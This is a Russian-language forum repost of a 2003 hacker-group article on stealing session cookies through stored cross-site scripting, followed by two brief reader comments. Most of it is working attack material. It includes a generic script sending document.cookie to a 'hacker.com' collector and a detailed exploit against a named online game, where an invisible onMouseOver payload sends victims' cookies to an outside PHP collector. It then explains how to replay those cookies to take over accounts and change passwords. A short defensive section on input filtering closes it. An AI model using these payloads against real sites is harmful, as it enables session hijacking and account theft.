![]() |
Атака на скрипты, использующие cookie-авторизацию
Публикуется с разрешения k0dsweb gr0up.
================================================== ==================== # # # Author: {dr}{nerve} // k0dsweb gr0up # # Статья является собственностью команды KODSWEB # # Любое растпространение без нашего ведома строго запрещено. # # -= 27.03.2003 =- # # # ================================================== ==================== # # # Атака на скрипты, использующие cookie-авторизацию. # # # ================================================== ==================== ### ### ### K O D S W E B ### ### ### #================================================= ===================# # Введение # #================================================= ===================# В данной статье я расскажу Вам об атаке на сервера, использующие скрипты с cookie-авторизацией. Многие форумы и гостевые книги, а также разнообразные online игры с тысячами участников используют сookies, чтобы хранить HTTP состояние в течении сеанса пользователя. Cookies, содержащие опознавательные сертификаты можно подделать, тогда сеанс может быть похищен. Чем это грозит - догадаться нетрудно :] Cookies маркированы доменом, от которого они были установлены. Программы Web просмотра или HTTP клиенты ограничивают просмотр сookies от принятия других доменов. #================================================= ===================# # Типовая атака # #================================================= ===================# Если вводимые и впоследствии отсылаемые данные на защищенном домене никак не контролируются или контролируются плохо, это может открыть доступ к данным cookie на домене, таким образом, можно перехватить cookie. Типовой пример атаки - ввод следующего кода в систему сообщения: ------------------------START-CODE-----------------------------------> <script> # x contains the cookie data from the protected domain var cookie_data = document.cookie; # location to send the cookie data var location = "http://www.hacker.com/cgi-bin/cookie_thief.cgi?COOKIE="; document.img[x].src = location + cookie_data; </script> ------------------------END-CODE--------------------------------------> Get запрос пошлет данные сookies как входной параметр в виде: http://www.attacker.com/cgi-bin/cook...IE=cookie_data Привлекательность данного метода заключается в относительной простоте его реализации, а также в том, что реализовать его можно разными способами, не ставя пользователя в известность о событии и не оставляя никаких логов. #================================================= ===================# # Практическое применение # #================================================= ===================# Современные багтраки содержат массу скриптов, подвереженных такого рода атакам. Я хочу же привести в пример баг, который существовал какое-то время назад в одной СУПЕР популярной Online-игре "Бойцовский Клуб" // www.combats.ru Баг был найден человеком с ником Mayhem. Я лишь выбрал этот баг в качестве примера, чтобы продемонстрировать то, как и что можно получить, если достать пользовательские cookies на защищенном домене. Уязвимость заключалась в следующем: =================================== Сорс листа смены информации о пользователе показывал пароль в hidden элементе в обычном plain виде: <input TYPE=hidden name=psw value="your_password"> Логично было предположить, что эти данные можно "использовать" в своих целях. Вопрос был в том, как это все достать: ->Combats.ru ->Настройки ->Анкета Добавляем в поле "Домашняя страница" "запрещенные символы" и видим, что " не превращается в ", хотя некоторые теги фильтруются. Добавляем в поле: " onMouseover="alert('hi')" Info имеет следующий параметр: Домашняя страница: "onMouseOver="alert('hi')" При наведении мышки на эту строчку выполнялась JavaScript команда Alert("hi"); Объем кода, который можно было вписать в это поле был ограниченный: maxlength=30 Сохранив страницу у себя на диске и изменив параметр, проблемма была удалена: <input NAME="homepage" maxlenght=1300 value="" size="20"> Набрав длинную строку в поле домашняя страница на все 1300 символов и перейдя в раздел info, было видно, что вся информация сохранена. Пошли эксперименты, итогами которых стала следующая строка, записанная в INFO "Домашняя страница": www.combats.ru" style="position:absolute;top:-200px; left:-100px;height:700px; width:850px; color:#e2e0e0;" OnMouseOver='javascript:if(window.document.body.na me=="hi") {}else{window.document.body.name="hi"; cookiea=document.cookie; test=open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1"); window.hi.close();}' Пояснения: ========== " style=color:#e2e0e0; (e2e0e0) - делает высвечиваемый на странице код невидимым для пользователя, (e2e0e0) - цвет фона. OnMouseOver - использовался этот элемент для ожидания того момента, когда юзер проведет по ссылке " style="position:absolute;top:-200px;left:-100px;height:700px;width:850px;color:#e2e0e0;" А это позволяло сделать ожидания недолгими. Это создает прозрачный слой вне пределов экрана, а строка height:700px;width:850px; расширяет область действия эвента на все окно с информацие об игроке. cookiea=document.cookie; - позволяет украсть cookie PHP и Mysql база - помогают принять украденные данные if(window.document.body.name=="hi") { } else { window.document.body.name="hi"; cookiea=document.cookie; test= open("http://www.hacker.ru/thief.php?cookie="+cookiea,"", "width=1,height=1"); window.hi.close(); } Итак, как только человек открывал Ваше INFO и двинул мышкой хоть на мгновение, код сразу выполнялся: кукис уходили в базу данных. Приходил cookie: ================ battleid=here_it_is; battle=Dirik; battlepsw=paskuda; ChatColor=Red battle=Dirik; - Чужой логин battlepsw=paskuda; - Пароль на поединок (Это не пароль к аккаунту игрока) Использование: ============== В INFO "Домашняя страница" записывалось: "onMOuseOver='javascript:document.cookie ="battle=Dirik"; document.cookie =" ChatColor=Red"; document.cookie =" battleid= here_it_is "; document.cookie =" battlepsw= paskuda ";' Пояснение: ========== При наведении мышки на строку с домашней страницей броузеру присваивались необходимые Cookie. То есть необходимо было сохранить указанную выше строку в Info "Домашняя страница", затем просмотреть ее самому, чтобы присвоить себе несвои кукисы, тем самым став другим игроком - Dirik'ом. http://mail.tut.by/Redirect/www.comb...nter.pl?edit=1 Необходимо было просмотреть сорс для получения пароля. А применялось это так: ====================== Хакер заходил в "Поединки", подавал заявку и начинал собирать пароли в свою базу данных, затем выбирал сильнейшего игрока по логинам, которые он имел, присваивал себе его куки, входил на страницу редактирования информации "о себе" и смотрел пароль, затем менял его, и наслаждался своим превосходством. Хочу также отметить, что описанный выше способ в настоящее время не работает, так как пользовательский ввод в info "Домашняя Страница" фильтрует нужные символы. #================================================= ===================# # Как прикрыть уязвимость # #================================================= ===================# Это наиболее интересная секция для системщиков и веб-мастеров. Прикрыть баг довольно просто. Для этого необходимо сделать следующее (все базируется на фильтрации вводимых данных): - Необходимо гарантировать, что все разрешенные для ввода теги и атрибуты безопасны и лимитированы - Необходимо отфильтровывать двойные и одиночные кавычки - Необходимо удалять все нулевые символы. #================================================= ===================# # Заключение # #================================================= ===================# Атаки, основанные на похищении cookies, в настоящее время не редкость. Для тех, кто хочет в этом попрактиковаться, место на buqtrak'е. Наиболее часто уязвимости данного рода встречаются в форумах, гостевых книгах и online играх, где cookies хранят логины и пароли пользователей. Фильтрация ввода - неободимый метод борьбы с уязвимостью данного рода. Все отзывы/предложения принимаются по адресу: admin@kodsweb.ru [k0dsweb] kodsweb.ru или на форум: kodsweb.ru/kwforum/ |
Ух! Вот так название: "Атака на скрипты, использующие cookie-авторизацию" Зловеще! И где атака на скрипты?
А так - обычнаяя активная XSS старт оффтоп: В том же духе давно были поговорки: 1. "Проблемы транспортировки жидкостей в сосудах с переменной структурой плотности" -> Носить воду в решете 2. "Нестандартные методы лечения сколиоза путем отправления ритуальных услуг" -> Горбатого могила исправит 3. ...остальное перекинул в раздел Развлечения :енд оффтоп |
censored! ну я же не буду изменять название статьи.Прально?прально.
|
| Время: 14:49 |